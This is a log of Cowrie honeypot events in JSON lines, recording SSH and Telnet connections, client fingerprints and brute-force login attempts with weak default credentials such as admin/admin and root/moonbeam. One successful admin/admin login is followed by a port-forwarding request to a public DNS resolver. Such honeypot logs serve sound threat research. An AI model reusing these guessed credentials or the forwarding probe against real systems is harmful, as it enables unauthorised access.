{"eventid":"cowrie.session.connect","src_ip":"202.165.15.132","src_port":53949,"dst_ip":"10.17.0.5","dst_port":22,"session":"6efc90dffaef","protocol":"ssh","message":"New connection: 202.165.15.132:53949 (10.17.0.5:22) [session: 6efc90dffaef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:28:29.489668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:28:29.494475Z","src_ip":"202.165.15.132","session":"6efc90dffaef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:28:29.738369Z","src_ip":"202.165.15.132","session":"6efc90dffaef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user8","password":"123456","message":"login attempt [user8/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:28:30.745022Z","src_ip":"202.165.15.132","session":"6efc90dffaef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:28:31.992120Z","src_ip":"202.165.15.132","session":"6efc90dffaef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":60.77690386772156,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:28:32.427822Z","src_ip":"212.55.149.117","session":"be2d2d0917fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":119.4207124710083,"message":"Connection lost after 119 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:28:37.928699Z","src_ip":"212.55.149.117","session":"f9f478e5066b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":6078,"dst_ip":"10.17.0.5","dst_port":23,"session":"03fa244fbc75","protocol":"telnet","message":"New connection: 212.55.149.117:6078 (10.17.0.5:23) [session: 03fa244fbc75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:28:41.201456Z"}
{"eventid":"cowrie.session.closed","duration":62.08772563934326,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:28:47.628280Z","src_ip":"212.55.149.117","session":"fe395a38d0dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.186","src_port":38208,"dst_ip":"10.17.0.5","dst_port":22,"session":"21592058706c","protocol":"ssh","message":"New connection: 176.65.132.186:38208 (10.17.0.5:22) [session: 21592058706c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:28:52.449024Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:28:52.457150Z","src_ip":"176.65.132.186","session":"21592058706c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.186","src_port":38222,"dst_ip":"10.17.0.5","dst_port":22,"session":"e291bede3b23","protocol":"ssh","message":"New connection: 176.65.132.186:38222 (10.17.0.5:22) [session: e291bede3b23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:28:52.625316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.2","message":"Remote SSH version: SSH-2.0-libssh_0.11.2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:28:52.629924Z","src_ip":"176.65.132.186","session":"e291bede3b23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"4ed0d5b0dc3be39c7f96ba3a3cc77895","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,3des-cbc,aes128-cbc,aes192-cbc,aes256-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","3des-cbc","aes128-cbc","aes192-cbc","aes256-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 4ed0d5b0dc3be39c7f96ba3a3cc77895","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:28:52.717976Z","src_ip":"176.65.132.186","session":"e291bede3b23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftp","password":"ftp","message":"login attempt [ftp/ftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:28:53.025734Z","src_ip":"176.65.132.186","session":"e291bede3b23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:28:54.118857Z","src_ip":"176.65.132.186","session":"e291bede3b23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":32056,"dst_ip":"10.17.0.5","dst_port":22,"session":"352755c5b884","protocol":"ssh","message":"New connection: 87.251.64.176:32056 (10.17.0.5:22) [session: 352755c5b884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:29:01.597023Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:29:01.601773Z","src_ip":"87.251.64.176","session":"352755c5b884","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:29:01.699876Z","src_ip":"87.251.64.176","session":"352755c5b884","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:29:01.993999Z","src_ip":"87.251.64.176","session":"352755c5b884","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:29:02.097648Z","session":"352755c5b884","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:29:02.195985Z","src_ip":"87.251.64.176","session":"352755c5b884","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:29:02.295362Z","src_ip":"87.251.64.176","session":"352755c5b884","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":10984,"dst_ip":"10.17.0.5","dst_port":23,"session":"e373f8497e32","protocol":"telnet","message":"New connection: 212.55.149.117:10984 (10.17.0.5:23) [session: e373f8497e32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:29:18.136101Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.165.15.132","src_port":55585,"dst_ip":"10.17.0.5","dst_port":22,"session":"33c1b91ae98a","protocol":"ssh","message":"New connection: 202.165.15.132:55585 (10.17.0.5:22) [session: 33c1b91ae98a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:29:27.818586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:29:27.822817Z","src_ip":"202.165.15.132","session":"33c1b91ae98a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:29:28.065777Z","src_ip":"202.165.15.132","session":"33c1b91ae98a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testman","password":"testman","message":"login attempt [testman/testman] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:29:29.070867Z","src_ip":"202.165.15.132","session":"33c1b91ae98a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:29:30.318368Z","src_ip":"202.165.15.132","session":"33c1b91ae98a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":48002,"dst_ip":"10.17.0.5","dst_port":22,"session":"c75de3038336","protocol":"ssh","message":"New connection: 193.32.162.145:48002 (10.17.0.5:22) [session: c75de3038336]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:29:39.512891Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:29:39.519754Z","src_ip":"193.32.162.145","session":"c75de3038336","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:29:39.666962Z","src_ip":"193.32.162.145","session":"c75de3038336","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"moonbeam","message":"login attempt [root/moonbeam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:29:40.058153Z","src_ip":"193.32.162.145","session":"c75de3038336","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:29:41.168795Z","src_ip":"193.32.162.145","session":"c75de3038336","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":47698,"dst_ip":"10.17.0.5","dst_port":22,"session":"2dd73a2681e7","protocol":"ssh","message":"New connection: 2.57.122.210:47698 (10.17.0.5:22) [session: 2dd73a2681e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:30:05.350694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:30:05.401496Z","src_ip":"2.57.122.210","session":"2dd73a2681e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:30:05.518002Z","src_ip":"2.57.122.210","session":"2dd73a2681e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"1","message":"login attempt [solana/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:30:06.214802Z","src_ip":"2.57.122.210","session":"2dd73a2681e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:30:07.356371Z","src_ip":"2.57.122.210","session":"2dd73a2681e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.89060568809509,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:30:18.026560Z","src_ip":"212.55.149.117","session":"e373f8497e32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":119.67579078674316,"message":"Connection lost after 119 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:30:40.877113Z","src_ip":"212.55.149.117","session":"03fa244fbc75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.235.62.179","src_port":20630,"dst_ip":"10.17.0.5","dst_port":22,"session":"60f01668c510","protocol":"ssh","message":"New connection: 68.235.62.179:20630 (10.17.0.5:22) [session: 60f01668c510]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:30:44.013307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:30:44.017886Z","src_ip":"68.235.62.179","session":"60f01668c510","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T05:30:44.049473Z","src_ip":"68.235.62.179","session":"60f01668c510","protocol":"ssh"}
